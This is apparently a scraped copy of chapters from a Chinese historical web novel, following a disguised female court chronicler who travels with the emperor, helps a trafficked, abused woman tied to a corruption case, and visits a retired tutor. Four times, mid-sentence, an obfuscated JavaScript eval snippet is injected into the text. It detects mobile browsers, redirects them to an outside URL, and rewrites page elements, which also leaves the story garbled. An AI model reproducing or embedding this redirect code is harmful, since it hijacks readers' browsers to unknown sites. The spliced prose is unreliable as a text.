谢怀川正常作息起床用早膳,只不过今天没有再穿明黄色的龙袍,而是穿了一身月白色暗纹锦袍,搭一掌宽的黑色皮革腰带,勾勒出宽肩窄腰,尽显好身材。 桌上的膳食依然是每道菜只尝了一口就被端下去,江幼宜目光一路追随,撤菜太监身影消失在转角处,她没能看到那些饭菜最后的归宿。 谢怀川在乾清宫门口驻足片刻:“摆驾慈宁宫。” 说实话,江幼宜对这位太后还挺好奇的,入宫前是名震京城的才女,先皇死后垂帘听政,能在朝堂上跟首辅掰腕子,实乃奇女子也。 一位嬷嬷走出来,朝谢怀川行礼:“回禀陛下,太后正在抄经礼佛,不便见陛下。” 谢怀川面色如常,好像早已料到:“既如此,请嬷嬷代朕问太后安。”他没再过多停留,直接从慈宁宫离宫。 说是微服私访不用大张旗鼓,但谢怀川毕竟是皇帝,这趟出行也带了二十多个人,还只是明面上的,曹公公也在出行之列。 一行人伪装成商队一路南下,谢怀川的马车最大,里面有三个人,随行伺候的曹公公,再加一个负责记录皇帝言行的人,也就是江幼宜和章时,她俩轮流当值。 好在谢怀川话不多,大部分时候都在闭目养神或者在看书,江幼宜跟章时一路上工作强度不高,她闲暇时间都在本子上记录沿途见闻,算是职业病的一种。 白天赶路,晚上进城入住客栈歇息,十几日后,车队一路晃晃悠悠进了冀州地界。 跟谢怀川近距离相处下来,江幼宜对谢怀川治国理政的能力暂不做评价,性格还可以,起码比前世动不动就骂人还冷血无情的主编好得多。 曹公公日常挂着一副笑脸,在谢怀川沉默不言的时候,她跟曹公公还能就窗外风景闲聊几句,谢怀川虽存在感很强,但他不会开口,全由着她们,桌上的点心茶水也管够,江幼宜当值的时候心情越来越放松,几乎真当这一趟是在旅游。 这日轮到江幼宜当值,谢怀川在看话本,没什么好记的,她嘴里咬着一块糕点,掀开窗口的帘子观察此地的风土人情,突然怒道:“真是岂有此理!” 谢怀川闻言抬头,看向江幼宜,轻柔询问:“怎么了?” 江幼宜看着外面眼也不眨,把帘子撩得高高的,指着远处道:“外面有人在打人。” 是个男人在打女人,那里距离他们马车行驶的道路有一段距离,她想下去管就得让谢怀川开口停车。 谢怀川顺着江幼宜指的方向看去:“停车!” 曹公公打开马车车门,朝前面喊道:“陛下有旨,停车。” 马车应声停下,前面开路的马千户调转马头,前来询问陛下有何指示,还没等他抵达陛下马车前,就看到在马车中当值的傅大人跳下马车,着急忙慌沿着小路往旁边跑,傅大人尿急? 接着他看到谢怀川也下了马车,紧随傅大人身后,马千户连忙下马跑上前:“陛下,有何吩咐?” 谢怀川扭头吩咐曹伯忡:“让人看好马车。”又朝马千户道,“带几个人过来。” 江幼宜跑着冲到打人的男人面前,一把抓住男人挥向地上女人的胳膊,质问道:“大庭广众之下,你为何打人?” 男人一脸凶狠地甩开江幼宜的手:“我教训自家媳妇,关你什么事?” 江幼宜把蜷缩在地上的女人护在身后:“不管她是你的谁,打人就是犯法的!” “你这么护着她,是她的姘头不成?我就说这个女人怎么一门心思往外跑,原来是在外面有奸夫!看我不打死你!”男人一撩袖子,又要对地上的女人动手。 江幼宜始终挡在女人面前,男人见状怒意更胜:“好啊,你们这对奸夫□□,今天我就成全你们,一并打死!” 男人的拳头直冲江幼宜面门,江幼宜一把抓住男人的手腕往后拧,这个男人人高马大,是个结实的庄稼汉子,她只能压制他片刻,她刚想回头朝谢怀川求助,就发现片刻前还有些距离的谢怀川不知道什么时候已经站在她身后了。 她还没来得及开口,就被谢怀川沉着脸拉到一边,同时利剑出鞘抵在想要反抗的男人脖颈上。 这会儿才匆匆赶来的便装锦衣卫迅速上前按住男人:“老实点!” 江幼宜扶起被打的女人,女人头发凌乱,衣服因为在地上挣扎沾满了尘土,脸颊和手臂上满是淤青,嘴角还挂着血痕,十分狼狈。 “公子,她受伤了,我先带她去看看伤。”车队里有随行的太医,江幼宜扶着女人往马车那边走。 女人没有说话,眼神很是警惕。 江幼宜语气放缓:“你别怕,我们是过路的商队,不是坏人,马车那边有大夫,我扶你过去看看伤,嗯?” 半晌,女人轻轻点头。 江幼宜小心扶着女人往马车那边走,她注意到女人走路时腿一瘸一拐的,肯定是腿上也有伤,她转头又瞪一眼打人的男人。 “姜大夫,这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614400|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘受伤了,劳烦您给她瞧瞧。” 章时从后面的板车上取下几个木凳,锦衣卫搬过来一个小桌子,姜太医坐下替女人把脉,随即皱起眉头:“气血不畅,肝气郁结,姑娘前段时间是否小产过?” 女人另一只手握紧,沉默着点了点头。 江幼宜面色紧绷,问道:“是他打的吗?” 女人点头,又摇头。 看来这其中还有隐情,江幼宜等姜太医号完脉:“姜大夫,她腿上也有伤。” 姜太医把写好的方子递给宫女:“她的腿伤是陈年旧伤,一时半会不好治。”若是想要彻底根治,得日日施针才行。 江幼宜看一眼谢怀川那边,锦衣卫正押着那个男人问话,谢怀川似乎很生气。 她转头看向女人,她凭直觉认为这不是一场简单的暴力行为:“我想问问你具体情况,如果可以我会尽量帮你,你愿意的话就点点头。” 良久,女人轻轻点了点头。 “我们来这边说。”江幼宜扶着女人走向一辆马车,那辆马车算是她跟章时的专车,不在皇上面前当值的时候就待在这里。 她先把女人扶上去,对后面跟着的章时道:“章大人,我有话问她,劳烦你帮我看着点人。” “好。”章时站到离马车几步远的地方,没有上前。 江幼宜上车之后先给女人倒了一杯水,语气温柔:“你别怕,我没有恶意,你似乎并不想跟他生活下去,可以跟我说说你的事吗?” 女人垂着头,双手紧紧捧着茶杯,过了好一会儿才低声开口:“我是被人卖给他的。” 果然!大宁律法不允许私自买卖人口,买卖同罪,违者轻则杖一百判处流放,重则斩立决,仍屡禁不止。 江幼宜没有打断女人,只以目光鼓励女人继续往下说。 “我不想嫁给他,所以我一直想找机会想跑出去,我的腿是第一次逃走的时候被他打断的,他没找大夫帮我治病,我在床上躺了几个月,然后就瘸了。前段时间我发现自己怀了他的孩子,我不想生下他的孩子,也不想我的孩子生出来受苦,我就偷偷把孩子流掉了,但是被他发现了,他打我打得更狠,再不逃出去我迟早会被他打死,我今天逃跑又失败了,他又在打我……”女人的眼泪顺着脸颊无声滑落。 江幼宜没忍住上前将她揽在怀里,轻轻拍着女人的背:“你放心,那个男人买卖人口,还恶意伤人,他最低也会被判流放,他不会再有动手的机会了,你别怕。你有能去的地方吗?我可以找人送你回去。” “没有,我爹娘死了,我无家可归了……” “你家是哪里的,还有什么亲戚可以投靠吗?” “我家是青州的,我已经回不去了。” 青州?那个贪腐案到现在还没查出什么的青州?这么巧吗? 她握着女人的胳膊,轻轻把女人从她怀里扶起来,轻声询问:“你爹娘是做什么的,可以告诉我吗?” 女人只一味流着眼泪摇头:“姑娘,谢谢你,你能帮我摆脱这个男人我就已经很感激了,我不能连累你。” 16. 密信 江幼宜眉头紧锁,看来她父母的死的确有蹊跷:“你怎么看出来我是女的?” 女人飞速扫了一眼江幼宜胸前,又撇开视线,虽然肉眼看不出弧度,但是身体接触到的柔软是骗不了人的。 江幼宜尴尬地摸了下鼻子,没想到一个路边无意救下的女人也能轻易识破她身份,她这个伪装真是失败。 “那个,还请你帮我保密。”江幼宜伸手理好胸前的衣服,“那你接下来有什么打算?” 江幼宜的问话又让女人陷入沉默,显然女人自己也不知道这天下之大,哪里还有她的容身之处。 虽然打人的男人会被流放,但这里毕竟是那个男人的地盘,这个女人几次都没能成功逃走,说不定是因为村里有男人的同伙,这里肯定是不能继续待的。 而且这个女人极有可能是青州案的证人,一旦放走很有可能会被人暗害,朝中关系错综复杂,她可以信任的只有同榜三人,现在还都没什么实权,而且王砚秋和顾靖川家中人是否可信还要打个问号。 江幼宜想了一圈,发现自己身边最有可能解决这件事的人居然是谢怀川,自己能相信他吗?他真的有能力解决青州案吗? 但不管怎么说,这个女人得先留在身边。 “姜大夫说你的腿如果想要完全康复,需得日日施针,既然你现在无处可去,先跟着我们车队吧,至少等姜大夫把你的腿治好,到时候无论你想去哪里都能更方便。” 女人迟疑片刻,轻轻点头:“谢谢你,姑娘。” “我名傅文松,你唤我名字就好。”不能再让她一口一个姑娘叫下去了,不然一会儿该暴露了。 “傅……公子?” 傅公子就傅公子吧,只要不再喊她姑娘就行,江幼宜颔首:“可以,还没问过姑娘芳名?” “我名李寒月。” “好,寒月姑娘,你先在这里待一会儿,我去看看你的药熬好了没有。” “多谢傅姑……,傅公子。” 江幼宜走下马车,朝熬药的宫女那边走去,余光看到谢怀川和锦衣卫正往回走。 她沉思片刻,迎上去,左右没看到那个打人的男人,不是吧,难道就这样把他放走了? “公子,打人的人呢?” “送到衙门去了。”谢怀川下巴往旁边一抬,马千户正带着两个锦衣卫骑马往县城方向去,打人的男人被捆着双手,用绳子牵着在地上跑。 江幼宜心里一阵痛快,就该这样! “公子,我刚刚问过那名女子,她是被卖过来的。” 谢怀川面色紧绷:“我知道,刚刚那人已经交代了,马仕涛知道该怎么做。” 大宁建国之初,一直与大宁交战的邻国曾高价购买大宁国人,男女不限,男人充军,女人为妓,几年间边境几镇人口锐减,男女比例严重失衡,适龄男子无处成婚。 自此之后,朝廷律法明文规定不可行人口买卖之事,一经发现从重处置。结果现在这个村子里却不止存在一起人口买卖交易,只是一个村子就行事如此嚣张,他倒要看看此地县令是否知情。 “公子,那女子无家可归,腿上还有旧伤,我们能否把她一起带上?” 谢怀川望向江幼宜,沉默片刻,绷着脸道:“下次碰上这种事不要自己一个人往前冲,这次对方只有一个人,下次若对方还有帮手你怎么办?” 江幼宜垂头抿嘴,半晌低声道:“臣知错了。”她当时看那女子被打得毫无还手之力,怒从心起,只想着尽快去帮她,没来得及思考那么多,现在想想,她确实有点冲动,可她那也是知道谢怀川就带人跟在她身后她才敢莽上去的,她也是为了做好事啊,非要这么凶吗…… 谢怀川看江幼宜一副知错但不多,下次还敢干的倔强模样,微微叹了一口气:“我不是说你做错了,你手无缚鸡之力,那人体格比你健壮,力气也比你大,你明知打不过他还要自己一个人冲上去……”他止住话头,温声道,“总之,下次再有这种事喊侍卫去。” 天知道他看到那个男人的拳头砸向江幼宜的时候有多紧张,毕竟……毕竟江幼宜那双手还要留着替他撰史,半点不容闪失,就是这样没错,不是因为别的。 江幼宜悄悄抬眼看向谢怀川面色,好像不怎么生气了,她试探着开口,低声道:“公子,那女子说她是青州人……”若是谢怀川毫不在意,那她……那她也只能另想办法。 谢怀川警惕地看向旁边,抬手屏退手下:“可是与青州江堤案有关?” 看来她直觉没错,谢怀川并非丝毫不关心朝政之人:“目前还不清楚,她比较警惕,只透露了她是青州人,名叫李寒月,父母的死另有隐情,别的什么都没说。” “我知道了,先把她带上。” 江幼宜去取李寒月的药,谢怀川招来暗卫,派人去调查李寒月的底细。 江幼宜端着药碗从谢怀川面前经过。 “等一下。”谢怀川开口,上下扫了江幼宜一眼,抬手指着一旁的宫女,“让她去送。” 宫女芳草上前行礼:“傅大人,把药给奴婢吧。” 倒是江幼宜疏忽了,她现在是男人,旁人看她对李寒月嘘寒问暖难免多想,她把药碗递给芳草:“有劳了。” “那马车是你跟章时休憩的,她待在那里不方便,我已让人收拾出来一辆空马车,还派了宫女与她一车,你不用这么亲力亲为。” 江幼宜了然,这是怕传出不好听的话,她拱手:“是,多谢公子。” 一切安排妥当,车队继续上路,姜大夫日日给李寒月施针,江幼宜趁着用膳的时候问候李寒月几句,李寒月渐渐放松了警惕。 这日,暗卫传回消息,已查明李寒月身份,她乃是青州梧桐县县丞李巍的女儿,其父李巍因贪污受贿被捕入狱,在狱中畏罪自杀,其母随后在狱中因病逝世,李寒月被判流放,途中失踪。 好一个畏罪自杀、因病逝世、途中失踪,谢怀川看着密报冷笑。 “把李寒月带过来。” 眼看谢怀川脸色越来越黑,江幼宜不由疑惑:“陛下?” 谢怀川直接把那沓密报递给江幼宜,曹公公在旁边看着不由睁大了双眼,看来傅大人比他想象中还受陛下器重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614401|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入内阁指日可待。 江幼宜一一翻看,越看越心惊,这些人真是胆大妄为,惯会睁着眼说瞎话。 明明是李巍在督查江堤修筑进展时发现工人拿到手的工钱与县衙账簿登记不相符,继而发现用料支出也有猫腻,查出证据向青州知州检举,结果自己却落得个贪污受贿的罪名,在狱中被迫自杀;李巍妻子韩芝芝被刑讯逼供李巍是否另有私藏的证据,又骤闻丈夫死讯,猝然离世,被记录成因病逝世;李寒月在狱中被人带出卖到此地,却被写成流放途中失踪。 李寒月被锦衣卫带进来,房间内肃静的氛围让她不安,她紧张地攥着衣角:“不知两位公子找民女何事?” 谢怀川坐在椅子上,淡淡开口:“你可是梧桐县县丞李巍的女儿?” 李寒月瑟缩一下,紧张地吞咽了一下:“民女不知公子所言何人。” 江幼宜开口安慰:“寒月姑娘,你不用害怕,这是陛下,把你知道的都说出来,陛下会为你做主的。” “陛下?”李寒月看着江幼宜诧异道,她把头转向谢怀川,仍有些不可置信,“真的是陛下?” 曹公公站在谢怀川旁侧:“这天底下难不成还有人胆敢冒充陛下不成?” 李寒月“噗通”一下双膝跪地:“梧桐县县令与青州知州沆瀣一气、贪赃枉法、栽赃陷害,民女恳请陛下查明真相,还我父亲清白!” “你家中冤屈朕已知晓,你放心,朕一定会查明真相,还你家一个公道。”谢怀川顿了一下,“你再仔细想想,你父亲当时还有没有留下什么证据?” 李寒月陷入沉思,良久:“爹爹被抓前,娘亲的陪嫁丫鬟刘妈妈因为不小心打碎了爹娘的定情玉佩,被娘亲赶出家门,现在想来,娘亲为人和善,一直待刘妈妈亲如姐妹,绝无可能因为一块玉佩就大发雷霆,如果爹爹还有留下的证据,或许就是被刘妈妈带走了。” 谢怀川点头,这也算是青州案一个突破点:“你且安心跟着,若还能想到其它线索可以随时提供。” “谢陛下!”李寒月头磕在地上迟迟没抬起来,肩膀因为哭泣不停颤动,她还以为自己这辈子就要这样浑浑噩噩活下去了,上天垂怜,居然能让她遇到皇上,有机会替父申冤。 江幼宜刚想去把李寒月扶起来,门口的芳草走进来,俯身搀起李寒月,递给她一块手帕:“寒月姑娘,别哭了,该去找姜大夫治腿了。” “寒月多谢陛下,多谢傅公子,民女告退。” 江幼宜手里还捏着那沓密报,如果这个世界有报纸就好了,这样她就可以把天下不平事都刊登在报纸上。 这里倒是也有类似报纸的纸媒,叫邸报,只不过邸报只用来传达官方文书,例如皇帝的谕旨或地方的政令,阅读对象也只有官员,并不像报纸那样可以刊登各种信息,面向百姓发布。 虽然没有报纸,她还能通过话本把这些阴私散布出去,她“画中仙”的号召力可不容小觑,但是眼下还不行,青州案牵连甚广,他们才刚刚揭开冰山一角,万不可打草惊蛇。 不过话说谢怀川出京真的是为了去江南选妃吗? 17. 愁绪 一阵急促的马蹄声响起。 江幼宜掀起车窗帘子往后看:“陛下,是马千户他们跟上来了。” 谢怀川睁开眼睛:“让他上来。”隔了这么多天才追上来,看来那个县令果然有问题。 “陛下。”马千户上了马车先行礼。 “情况如何?” “那县令对于治下存在买卖人口事件表示不知情,属下派人去调查,发现那县令平日根本无心政事,经常流连秦楼楚馆,出了事只要给他钱就帮着摆平,买卖人口之事那县令确实不知情,皆因他根本不管。” “朕手底下真是一群为国为民的好官呐,给汪霖传信,让他想办法把李友良调来。” “是,属下告退。” 李友良?这个名字好生耳熟,江幼宜一边在旁边记,一边回想。啊,是跟她同榜的二甲进士,名次跟李云承挨着,出身寒门,一直没得到吏部授官。 这个人可不是随随便便就能选出来的,谢怀川早有准备,现在才是他真实的样子,他在宫里表现出来的闲散模样是在刻意隐藏实力。 他一直在演戏,现在突然不演了,是信任她?还是……在试探她? 还有汪霖,看样子谢怀川在汪霖面前也是最真实的样子,他知道汪霖跟大皇子是一伙儿的吗?还是说汪霖是皇帝派?如果汪霖是皇帝派,那她的身份,谢怀川是否知情? 入夜,江幼宜房中烛火长明,那张曾经只写了“汪”字的纸,现在已经写满了名字和箭头,乍看就是一个思维导图,她在纸上来回推演,始终理不清头绪,总感觉怎么推演都有可能,她掌握的信息还是太少了,以致于这些碎片怎么拼都拼不完整。 江幼宜脑子里一堆问号,她真的不擅长搞这些啊,真是要疯了,到底什么才是真相啊! 车队马上就要驶出临北府,若谢怀川出宫真是为了选妃,那就会继续往南进临南府,若不是,车队里有个青州案证人在,他就应该进临东府去青州。 江幼宜直觉谢怀川会往东,如果往东去青州,极大可能会途径岳州,而玉清观就在岳州,但玉清观里不止有表哥,还有大皇子。 如果她找借口离队,伺机去玉清观,地点太敏感,无论怎样都会招致怀疑。可若是放任表哥继续待在道观,迟早会被大皇子找上门来,后患无穷。江幼宜苦恼地抓了抓头发,进也难退也难,就没有什么两全其美的办法吗? 这会儿她倒希望自己的直觉是错的,谢怀川出京就是为了南下选妃,这样她找借口脱离队伍的时候不至于离玉清观那么近,招致怀疑。 江幼宜自认为情绪掩饰得很好,可在场总有那么几个人精可以轻易看穿别人的伪装,谢怀川和曹公公都能看出她最近的焦躁,但人精也是人不是神,看得出状态却猜不到原因。 “你带人继续南下。”谢怀川吩咐马千户,安排身形与他相似的锦衣卫在马车里假扮成他,只带了江幼宜和李寒月趁夜坐小马车离开,转而往东。 马车往东行五天,即将进入兖州。 谢怀川招来暗卫:“你们先行护送李姑娘去青州安顿。” “是。”暗卫领命离开,马车里只剩下江幼宜和谢怀川两个人。 江幼宜不太明白,自己成谢怀川心腹了吗?谢怀川做什么都带着她,丝毫不避讳,自己怎么就莫名其妙成他心腹了呢?与玉清观距离越近,江幼宜越担忧,自己知道谢怀川这么多秘密,从玉清观出来自己还有活路吗? “傅卿脸色苍白,可是身体不适?”谢怀川看着江幼宜越来越差的面色,终于忍不住关切道。 “回禀陛下,臣没事,臣……臣只是在马车上太憋闷了。” 谢怀川撩开车帘,他们正途经一片湖泊,此时外面风景正好,他打开车门,吩咐赶车的侍卫:“前面湖边停车。” 马车停在湖边的大柳树下。 “下来走走吧。”谢怀川站在马车下朝江幼宜伸手。 哪有皇帝伺候臣子下马车的道理,是嫌活得太长了吗? 可是最近江幼宜实在是太焦虑了,都无心观摩沿途风土人情了,而且这架马车也比不上谢怀川之前那架空间大,憋闷也不全是假话,再加上此刻的谢怀川并不像一个高高在上的皇帝,温柔的神情,关切的语气,鬼使神差地,江幼宜把自己的手搭在了谢怀川手上。 清风拂过,湖边柳枝随风摇曳,送来阵阵含着水汽的空气,带走夏末残留的暑气。 江幼宜深深呼出一口气,风景果然怡人,她感觉心情好了不少,她偏头看向身旁的谢怀川,他正在看湖边垂钓的人,神情颇为专注。看来之前传言谢怀川喜欢钓鱼,应该不是假的。 谢怀川突然开口:“我从小就很喜欢钓鱼,钓鱼的时候只需要盯着水面,不需要思考其它任何东西,甚至并不那么在意结果,等待的过程就已经足够有趣,如果能钓上来,那就是额外的惊喜。可惜母亲并不允许。” 湖边垂钓的人突然起身收杆,有鱼上钩了! 谢怀川脸上露出浅浅的笑意,仿佛钓到鱼的人是自己,那笑容里有开心,还有一丝羡慕。 是啊,谢怀川毕竟是皇帝,再喜欢垂钓,也只能借着伪装纨绔的时候才能趁机满足自己,还要被人评价,这个皇帝玩物丧志,昏庸之相,丝毫比不上大皇子。 “等我们解决完青州之事,回来再经过这里的时候,我陪陛下垂钓吧。” 谢怀川转头,有一点诧异,随后肉眼可见地高兴起来:“好。” 本来下车是为了让江幼宜开心的,没想到先让江幼宜哄自己开心了。 “你最近为什么一直不开心?” 江幼宜抬头,正对上谢怀川深邃的眼眸,生得一双含情眼说的就是谢怀川这样的吧,那里面的温情几乎让江幼宜深陷其中不能自拔,差点就要把表哥的事和盘托出。 如果她的身份是真实的,现在她极有可能直接开口,告诉谢怀川自己的表哥被大皇子带走了,希望他能帮自己把表哥带出来。 可是现在却不行,一个谎言注定要用无数的谎言去遮掩。 “陛下,您现在是把我当心腹了吗?” 虽然疑惑江幼宜为什么突然问这个问题,谢怀川还是郑重回答:“你很有才华,又非世家出身,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614402|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当知道我现在的处境,我希望你能帮我。” 江幼宜躬身行礼:“臣愿为陛下效劳。”希望谢怀川能看在她表忠心的份上,等她身份暴露了可以饶她一命。 “陛下,不去青州吗?”江幼宜看再次启程后马车调转了方向,疑惑问道。 “先去稷下书院一趟。” 稷下书院历史悠久,在一百多年之前一直是第一大书院,全国各地学子慕名求学,后来因一位山长倡导世家子弟应与寒门子弟同条件入学,遭受世家排挤,这些年来稷下书院逐渐没落,名声不显。 谢怀川这个时候突然去稷下书院做什么? 江幼宜看谢怀川又开始闭目养神,她掏出小本本假装整理起居注,实则润色话本故事,出门在外无人知晓她真实身份,正好可以投稿。 马车停下,赶车的侍卫开口:“主子,到了。” 江幼宜连忙收起小本子,率先打开马车门,只见书院正门修得巍峨高大,“稷下书院”四个烫金大字高悬门楣,大门左右分别刻着“日月两轮天地眼,诗书万卷圣贤心”①。 书院占地面积很大,只是透过围墙上斑驳的墙皮能看得出来,这座曾经名副其实的第一书院确实已在经年累月中没落了。 书院的门房只有一个跛脚的老汉,在看到锦衣华服的谢怀川时,竟有些不知所措,恭敬上前诺诺问道:“敢问公子,所来何事?” “劳烦通报一声,谢家六子前来拜访李山长。” “公子稍等。” 好一会儿,门房和一个白发苍苍的老翁相携前来,那老翁明显知道谢怀川真实身份,还没走到跟前就要行礼。 谢怀川快步上前,把住老翁双臂:“老师,好久不见。” 老翁颇为感慨,似有千言万语在口,最终只化为一声叹息:“这里不是说话的地方,先跟我来吧。” 谢怀川在前面搀扶着老翁,江幼宜落后两步跟着,侍卫捧着一个大木盒走在旁边。 书院内栽种着大量的树,需数人才能环抱,以松柏居多,许是地方太大,打理不过来,还没入秋院子里也满是松针落叶,踩上去发出“簌簌”的声音,再加上灰扑扑的屋子和斑驳的墙面,整座书院透露出萧索之意,唯有那隐隐传来的读书声昭示着这座书院仍然存在生机。 老翁领着几人进了一间向阳的屋子,打发小童去沏茶:“不知陛下突然到访,所为何事?” 侍卫上前,把一直捧着的木盒子放在谢怀川和老翁中间的桌子上,打开了盖子,最上面是一幅画。 谢怀川把画拿起来,亲手递给老翁:“这是老师最喜欢的吴画师的真迹。” 老翁没有第一时间伸手,气氛一时有些沉默,良久,老翁伸手接过,把画打开:“确实是吴画师真迹不错。” “老师喜欢就好。” 小童端来沏好的茶,江幼宜打开杯盖,是竹叶茶,茶色透亮,味道清香。 老翁示意小童退下,待小童走远,老翁把画卷好重新放回木盒里:“陛下,须知你我并无多么深厚的师生情谊,您此次前来究竟所为何事,还是直说的好。” 18. 书铺 江幼宜连忙把茶杯放下,眼神在谢怀川和老翁之间来回流转。 谢怀川一脸平静,并无被冒犯的怒意,老翁除了刚见面时情绪有些起伏,其它时候都表现的不冷不热。这人究竟是谁?居然敢这种口吻跟皇帝说话,谢怀川称他老师,难道是…… 谢怀川端起茶杯,轻抿一口:“这么多年过去,太傅还是如此不待见我。” 李明章嘴唇抿成一条直线,沉默不语。 果然是早已致仕的太傅——李明章。 李明章少年天才,出身寒门,是谢怀川祖父在位时的六元状元,两朝元老,文学造诣极高,为官时是无数读书人的精神领袖。 虽然谢怀川喊李明章老师,但李明章实际上并不是谢怀川的老师,而是大皇子的老师。 李明章曾向先皇谏言立大皇子为太子,结果没多久大皇子就失了帝心被禁足,李明章也受到牵累,他主动告老还乡,先帝感念李明章为官时的功绩,加封他为太傅,允他辞官。 自那之后李明章就失去踪迹,没想到是来稷下书院当山长了。 此地距离玉清观不远,如此看来,大皇子在谢怀川登基后到玉清观修道,多多少少也与李明章有些关系吧。 江幼宜握紧茶杯,谢怀川对大皇子的野心是否也有所察觉呢? 谢怀川拿开那副画,手指轻轻点了点下面的一摞书,对李明章道:“这就是我来此的目的。” 李明章顺势看去,是书,他刚刚就看到了,当时只以为是谢怀川寻来的古籍,并未在意。 此时他才拿起一本细细翻阅,越看眼睛越亮。 他已垂垂老矣,没多少活头了,最放心不下的就是这书院的学生。在这里读书的都是寒门学子,能拿出来的束脩不多,相应的,能招到的夫子也不多,好夫子更是寥寥。 如果这些学生能用上这样的参考书,那就能大大弥补师资力量不足的劣势,科考时也能取得更好的成绩。 李明章一本接一本的翻,手都因为激动微微颤抖:“好!好好!陛下,这些书是谁编的?是翰林院那群老腐儒还是国子监那群老家伙?不,不对,那群人虽有才,但不可能编出这样一套与世家作对的书。究竟是谁?此子有大才!” 到底是什么书让李太傅这样的大儒都如此激动,江幼宜定睛一看,这不是她呈上去的那批参考书吗? 谢怀川淡淡道:“既然老师清楚京里的情况,想必也能猜到我来此的目的。” 江幼宜看着那些书陷入沉思,什么意思?她不是因为这些书升迁的吗?怎么听谢怀川的意思,这些书并没有在朝堂上公开过…… 这套书明明就是现代随处可见的辅导书类型,使用的套路再普通不过,放在这个时代虽然新颖,但也不至于让皇上这么慎重,让太傅这么激动吧。 李明章这次没再否认老师的称呼,沉思片刻,他问道:“陛下想怎么做?” “老师是当世大儒,这套书若能冠以老师的名头,必定能吸引来所有天下学子的目光,所以我想请老师帮我在寒门中大力推广这套书。”谢怀川指着江幼宜,“这位就是编撰这套书的人。” “爱卿,朕知道这套书是你跟你的朋友共同完成的,只是看样子你还没完全明白这套书真正的价值。为了下一届科举有更多寒门学子站上朝堂,现在只能委屈你和你的朋友暂时在这套书里隐姓埋名了,你,可会怪我?”谢怀川定定看向江幼宜。 她确实不知这套书竟有如此大的价值,只能庆幸还好张学士是保皇派,庆幸谢怀川只是伪装无能。 江幼宜一时间感慨万千,她起身拱手:“陛下,我编这套书,并非为名。我知陛下如此是为我考虑,更是我天下学子考虑,此书不冠名,臣绝无二话,一切听凭陛下做主。”她不为名,只为权,现在她的目的已经达到,这套书也应该发挥它应有的作用。 李明章看向眼前这个年轻人:“小友,这套书竟然出自你手?” “回太傅,正是。” 李明章反复摩挲着手里的书,半晌才道:“这套书实乃寒门学子福音,老臣愿为这套书作序,若天下学子都能拥有这样一套书,何愁朝堂无实干人才。” “多谢老师。” 让太傅这个当世大儒背书,替这套书打开知名度的事情已经完成,按理说谢怀川应该开心。 国库掌控在户部手里,也就相当于掌握在内阁手里,他之所以私下带着这套书来找老师,就是因为这套书在内阁那边不可能被允许刊印。 而这套书如果想在寒门学子之中快速推行,除了书的内容上乘,有知名度,还需要刊印量大且价廉。说来惭愧,作为一国之君,他的私库中并无多少现银。 江幼宜看着谢怀川心事重重的样子,突然开口:“陛下,可是在为银钱发愁?” “爱卿有办法?” 江幼宜躬身上前:“臣斗胆,观书院占地面积极广,正在使用的书舍却不多,可以将空置书舍利用起来,打造成产销一体化的书铺,如此既能利用闲置空间,又能实现盈利,乃双赢之举。” 李明章眉头皱得能夹死苍蝇:“不可,书院是读书的地方,如此神圣,怎可沾染铜臭,士农工商,商排最末,不可不可,万万不可。” 谢怀川眼神略过门外萧索的院落,略一思索,对李明章道:“老师稍安勿躁,且听傅卿怎么说。”接着示意江幼宜继续往下说。 “稷下书院有着几百年传承,从书院走出去的寒门学子不知凡几,但能入朝为官的终究是少数。那些迟迟无法进入朝堂的学子要么继续读书备考科举,要么寻差事赚钱养家,如果书院开办书铺,也就能为学子多提供一份养家的差事。另外,书院有了自己的书铺,学子们也能接触到更多的书籍,对于买不起书的学子来说也是一件好事。” 书铺做成产销一体的优势自是不必多说,书铺和书院结合就是古代版的校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614403|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 企联合,既能整合资源,又能为书院学子提供就业机会。 